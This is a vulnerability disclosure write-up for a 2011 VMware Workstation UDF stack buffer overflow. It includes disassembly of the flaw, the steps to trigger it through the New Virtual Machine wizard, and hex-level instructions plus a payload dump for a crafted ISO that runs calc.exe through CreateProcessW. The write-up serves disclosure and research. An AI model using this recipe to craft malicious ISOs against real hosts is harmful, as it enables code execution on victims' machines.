VMware UDF Stack Buffer Overflow

On October 5th, 2011 VMware released Security Advisory VMSA-2011-0011 titled “VMware hosted products address remote code execution vulnerability“. . Unfortunately, VMware forgot to give credit to me.  So I have decided to post technical details of this vulnerability. I believe that since all the required patches have already been released this information will not affect any legitimate users of VMware products.

A bit of History
My friend Yevgeniy  noticed that VMware Workstation 7.0.0 crashed during OS detection when he tried to install Win 7 from ISO file. Its updating to version 7.1.1 “solved” this problem. But the further investigation (of versions 7.1.1 and 7.1.3) showed significant problems with the parsing of ISO file with UDF.

Summary
The easy install features enable user to perform the unattended installation of the guest operating system after the completion of the New Virtual Machine wizard. If user specifies an installer disc (DVD or CD) or ISO image file the wizard will try to detect an operating system. The vulnerability occurs when VMware product parses UDF file system of ISO file with “LogicalBlockSize” > 2048 while detecting OS.
The exploitation allows attackers to execute arbitrary code on the affected host under the context of the user who started VMware product and tried to install new virtual OS from the malicious ISO file.

Technical details
OS                   : Win (32bit)
Application       : VMware Workstation 7.1.3 Build:324285
File                  : vmwarebase.dll
Version            : 7.1.3.14951
Imagebase       : 0×11101000

Function UDF_Open (sub_112E00D0) is vulnerable.  According to http://www.osta.org/specs/pdf/udf260.pdf: The logical sector size and the logical block size of DVD shall be 2048 bytes. The developer allocates the 0×800 (2048) sized buffer in the stack for the actual sector:

.text:112E00E6                 push    7FFh            ; size_t
.text:112E00EB                 mov     edi, eax
.text:112E00ED                 lea     eax, [ebp+var_81F]                        #allocating 0×800 in the stack
.text:112E00F3                 push    0               ; int
.text:112E00F5                 push    eax             ; void *
.text:112E00F6                 mov     [ebp+Buffer], 0
.text:112E00FD                 call    memset                                           #setting  bytes of the buffer to 0×00

The application DOES NOT verify value of “Uint32 LogicalBlockSize” (udf260.pdf 2.2.4.2) from the structure “Logical Volume Descriptor”(udf260.pdf 2.2.4):

.text:112E0267                 movzx   eax, [ebp+var_749] # the highest byte of Uint32 LogicalBlockSize (for example 00 0a 00 “00″)
.text:112E026E                 movzx   ecx, [ebp+var_74A] # the 3rd byte of Uint32 LogicalBlockSize (for example 00 0a “00″ 00)
.text:112E0275                 movzx   edx, [ebp+var_74B] # the 2nd byte of Uint32 LogicalBlockSize (for example 00 “0a” 00 00)
.text:112E027C                 shl     eax, 8
.text:112E027F                 or      eax, ecx
.text:112E0281                 movzx   ecx, [ebp+var_74C] # the lowest byte of Uint32 LogicalBlockSize (for example “00″ 0a 00 00 )
.text:112E0288                 shl     eax, 8
.text:112E028B                 or      eax, edx
.text:112E028D                 shl     eax, 8
.text:112E0290                 or      eax, ecx
.text:112E0292                 mov     [edi], eax                           # saving LogicalBlockSize = 0xA00 instead 0×800

VMWare reads LogicalBlockSize bytes from ISO file to the allocated buffer:

.text:112E0423                 mov     eax, [edi]                           # 0xA00
.text:112E0425                 push    0               ; int
.text:112E0427                 push    eax             ; nNumberOfBytesToRead
.text:112E0428                 lea     ecx, [ebp+Buffer]                #allocated stack buffer (size 0×800)
.text:112E042E                 push    ecx             ; lpBuffer
.text:112E042F                 lea     eax, [edi+38h]
.text:112E0432                 push    eax             ; int
.text:112E0433                 call    Ordinal76                             #it reads 0xa00 bytes from the file and writes to the buffer… OVERFLOW!!! STACK UNDER CONTROL

Since the attacker controls the content of the stack he can control of the flow of execution:

.text:112E0516                 pop     edi
.text:112E0517                 pop     esi
.text:112E0518                 xor     eax, eax
.text:112E051A                 pop     ebx
.text:112E051B                 mov     esp, ebp
.text:112E051D                 pop     ebp
.text:112E051E                 retn                                                            # Return to the desired address

The Linux versions of the VMware products have the same behavior.

The vulnerable code can be reached through opening of crafted ISO file for installation new OS:
1) File->New->Virtual Machine.
2) “New Virtual Machine Wizard” will be opened.
3) Then

1st page – choose “Typical”, 2nd page – choose “Installer disc image file(ISO)”
or
1st page – choose “Custom”, 2nd page isn’t important, 3rd page – choose “Installer disc image file(ISO)”
4) Then the user should choose crafted ISO.

Proof of Concept
To create the specially-crafted file, we modified the correct ISO file because it was necessary for passing several verifications. For example:
(*All offsets are hexadecimal.)

To pass the next verification:
.text:112E0175                 lea     edx, [ebx+3]
.text:112E0178                 lea     esi, [ebp+Buffer]
.text:112E017E                 call    sub_112DFA50

ISO file must have bytes:

Offset      0   1   2  3   4  5  6  7   8  9  A  B  C  D  E  F
00080000   “02 00″ 02 00 “74″ 00 00 00  18 66 F0 01 00 01 00 00

“02 00″ – TagIdentifier
“74″ – TagChecksum

The parser reads and verifies next bytes too:

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00080010   00 80 00 00 01 01 00 00  00 80 00 00 13 01 00 00

To read the inappropriate LogicalBlockSize we need to pass the next verification:

.text:112E0251                 lea     edx, [eax+6]
.text:112E0254                 lea     esi, [ebp+Buffer]
.text:112E025A                 call    sub_112DFA50

Offset       0  1   2  3  4   5  6  7   8  9  A  B  C  D  E  F
00081000   “06 00″ 02 00 “B4″ 00 00 00  33 C7 AE 01 02 01 00 00

“06 00″ – TagIdentifier
“B4″ – TagChecksum

Reading of LogicalBlockSize:

.text:112E0267                 movzx   eax, [ebp+var_749]
.text:112E026E                 movzx   ecx, [ebp+var_74A]
.text:112E0275                 movzx   edx, [ebp+var_74B]
.text:112E027C                 shl     eax, 8
.text:112E027F                 or      eax, ecx
.text:112E0281                 movzx   ecx, [ebp+var_74C]

Offset      0  1  2  3   4  5  6  7    8  9  A  B  C  D  E  F
000810D0   00 00 00 23 “00 0A 00 00″  00 2A 4F 53 54 41 20 55

Then VMware overflows the buffer (size 0×800) by reading LogicalBlockSize bytes from the first logical block. In our case it starts from:

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00098000   00 01 02 00 E6 00 00 00  83 6F F0 01 00 00 00 00

In order not to overwrite the stack  by the contents of next blocks, we changed the type 0×100 to 0×101.

Offset      0    1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00098000   “01″ 01 02 00 E6 00 00 00  83 6F F0 01 00 00 00 00

And the next verification will be failed:

.text:112E0443                 mov     edx, 100h
.text:112E0448                 lea     esi, [ebp+Buffer]
.text:112E044E                 call    sub_112DFA50

And the execution goes to:
.text:112E051D                 pop     ebp
.text:112E051E                 retn

PAYLOADS:

Windows (32 and 64 bit) [WindowsISO]

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00098820   50 00 00 00 D8 5A 11 11  00 00 00 00 00 00 00 00
00098830   00 00 00 00 01 00 00 00  00 00 00 00 00 00 00 00
00098840   00 00 00 00 30 C1 46 11  88 DD 45 11 88 DD 45 11
00098850   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   …………….
00098860   00 00 00 00 00 00 00 00  43 00 3A 00 5C 00 5C 00   ……..C.:.\.\.
00098870   57 00 69 00 6E 00 64 00  6F 00 77 00 73 00 5C 00   W.i.n.d.o.w.s.\.
00098880   5C 00 73 00 79 00 73 00  74 00 65 00 6D 00 33 00   \.s.y.s.t.e.m.3.
00098890   32 00 5C 00 5C 00 63 00  61 00 6C 00 63 00 2E 00   2.\.\.c.a.l.c…
000988A0   65 00 78 00 65 00 00 00  00 00 00 00 00 00 00 00   e.x.e………..

D8 5A 11 11 = 0x11115ad8 -  “desired” address:

.text:11115AD8                 push    edi             ; lpApplicationName
.text:11115AD9                 call    ds:CreateProcessW

edi points to the string “C.:.\.\.W.i.n.d.o.w.s.\.\.s.y.s.t.e.m.3.2.\.\.c.a.l.c…e.x.e” in the stack.

30 C1 46 11 = 0x1146C130 – it points to array ‘\x00\x00\x00…’ (it is used as pStartupInfo)

88 DD 45 11 = 0x1145DD88 – it points to array ‘\x44\x00\x00…’ (it is used as pProcessInfo)

So function CreateProcessW will be called  with the following parameters:

04E1FCB4   04E1FCF8  шьб   |ModuleFileName = “C:\\Windows\\system32\\calc.exe”
04E1FCB8   00000000  ….  |CommandLine = NULL
04E1FCBC   00000000  ….  |pProcessSecurity = NULL
04E1FCC0   00000000  ….  |pThreadSecurity = NULL
04E1FCC4   00000001   …  |InheritHandles = TRUE
04E1FCC8   00000000  ….  |CreationFlags = 0
04E1FCCC   00000000  ….  |pEnvironment = NULL
04E1FCD0   00000000  ….  |CurrentDir = NULL
04E1FCD4   1146C130  0БF   |pStartupInfo = vmwareba.1146C130
04E1FCD8   1145DD88  €ЭE   |pProcessInfo = vmwareba.1145DD88

Credit
Huge thanks to Yevgeniy Grushka, who helped me with researching and verifying for this vulnerability.

References
http://www.vmware.com/security/advisories/VMSA-2011-0011.html

Share